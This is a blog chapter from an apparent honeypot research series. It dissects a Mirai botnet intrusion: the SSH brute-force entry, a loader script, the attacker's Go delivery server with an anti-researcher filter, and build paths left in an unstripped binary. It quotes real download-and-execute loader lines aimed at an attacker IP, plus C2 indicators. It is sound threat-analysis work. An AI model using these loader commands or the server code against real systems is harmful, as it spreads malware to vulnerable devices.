The botnet that left its code out in the open

A new family in the trap. After the two chapters on XorDDoS, this time a Mirai came in — the other great lineage of IoT botnets. The infection sequence is a sibling of the last one, but with a twist: the attacker left the source code of his own server out in the open. An OPSEC gift you don't turn down.

This chapter is the hunt: how it got in, what it dropped, and what I found when I pulled the thread all the way back to its delivery box. The teardown of the binary — the bot itself — is in Chapter 4.

01The catch

A bot again, not a person. It came in by brute force and acted in under a second, without poking around.

The three steps below carry the same timestamp: they all happened within the same tenth of a second. That's the giveaway — no hand types three commands in a hundred milliseconds.

1. 0.0sComes in over SSH with a dictionary credential (root). The trap opens up for it.
2. ↳Fingerprints the architecture: fires off uname -s -v -n -m and peeks at /proc/version and /etc/os-release. It needs to know what CPU the victim has.
3. ↳cd /tmp → downloads a script called ok (wget and curl, in case one fails) → sh ok → rm -rf ok ok.1.

That ok is a loader: it isn't the bot, it's what brings the bot in. I captured it whole.

02The loader, laid bare

Twelve lines, identical except for a name. Each one downloads a binary, gives it permissions, runs it with an argument (bc) and deletes it:

# (12 lines, one per CPU architecture)
wget hxxp://5.182.210[.]174/58bab5; curl -O hxxp://5.182.210[.]174/58bab5
chmod 777 58bab5; ./58bab5 bc; rm -rf 58bab5 58bab5.1
# ...ae754a, 36393a, 6e45aa, fbbca4, f367ae, ab0d64, 1f62ce...

Three things worth saying about this piece:

• It tries all 12 architectures. It fires off all twelve binaries; only the one that matches the victim's CPU runs, the rest fail silently. Covering ARM, MIPS, x86, PowerPC, SPARC… is how one and the same bot infects everything from a camera to a server.
• Rotating names. Every time ok is requested, it brings different filenames (6 random hex chars). Like the gibberish from Chapter 1, but taken to the server: blocking by name is useless.
• The bc tag. The argument each binary is run with is the campaign identifier the bot will report back to its control server — it tells it which campaign it came from.

The wget and the curl on the same line are a belt-and-braces move: if the box doesn't have one, it has the other. And the .1 in the deletion cleans up the duplicate that curl -O leaves behind when wget has already grabbed the file. Little touches from someone who has watched their script fail on oddball machines.

03The server that left its door open

The ok points everything at one server: 5.182.210[.]174. I went to take a look — read-only, touching nothing — and found the root wide open as a directory listing. There were the binaries… and two files that shouldn't have been there: http and http.go. The attacker had left the source code of his own delivery server out in plain sight.

It's a FileServer written in Go (its 404 — "404 page not found" — is the unmistakable fingerprint of net/http). Short, functional, and with one telling detail: an anti-snooper filter.

// Permite apenas requisições de wget e curl
if !strings.HasPrefix(userAgent, "curl") &&
   !strings.HasPrefix(userAgent, "Wget") &&
   !strings.HasPrefix(userAgent, "axel") {
    blockedIPs[clientIP] = time.Now().Add(10 * time.Minute)
    blockIP(clientIP)   // iptables -A INPUT -s IP -j DROP
    http.Error(w, "403 Forbidden", http.StatusForbidden)
}

It only serves the malware to whoever presents as wget, curl or axel. Anyone else — a browser, a scanner, a researcher — it drops into iptables and bans for 10 minutes. It's a deliberate defense against analysis: they want only their victims to reach the files.

04The specimen

Twelve binaries, one per architecture, the typical size of an IoT bot. I wrote here that they were all static, stripped ELFs, no symbols. Ten of them are. Two aren't. I found out going back over the batch with a file — which is the first thing you should do, and which I'd done on three binaries instead of on all twelve.

One of them, 44,744 bytes, isn't static: it's dynamically linked against uClibc, so it depends on finding its libraries on whatever machine it lands. The other weighs 123,851 bytes, more than double its siblings, and for a specific reason: it isn't stripped. It still carries the debug information the rest had taken out.

And here's the part that stings, because the evidence was published from day one: the card just below says 44 KB – 124 KB. Those two ends are exactly those two binaries. The range I published myself was already saying the batch wasn't uniform. It just needed reading.

That one slipped through half-cleaned is an oversight on their part. And it handed me the best thing in this chapter.

A binary that hasn't been stripped keeps the paths of the machine it was built on. These:

/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/lib1funcs.asm
/home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv7l/bin/../cc/include

Aboriginal Linux is a set of cross-compilers by Rob Landley — and it's exactly the one that shipped with the Mirai source code when it leaked in 2016. That isn't an antivirus label or a string coincidence: it's the mark of the workshop where this batch was made, and it comes straight out of the binary.

The spread of CPUs covered — the whole reason the multi-architecture loader exists:

(The table lists one representative per CPU family: eight rows for the twelve binaries. The extra variants —some architectures, like ARM, come in several— are left out, though the size range in the spec sheet covers them all.) In their strings, the C2 already shows up in the clear (kappadocia.net, 141.98.10.50) — but the rest of its configuration and all its orders are encrypted. That's the job for the next chapter.

05Indicators (IOCs)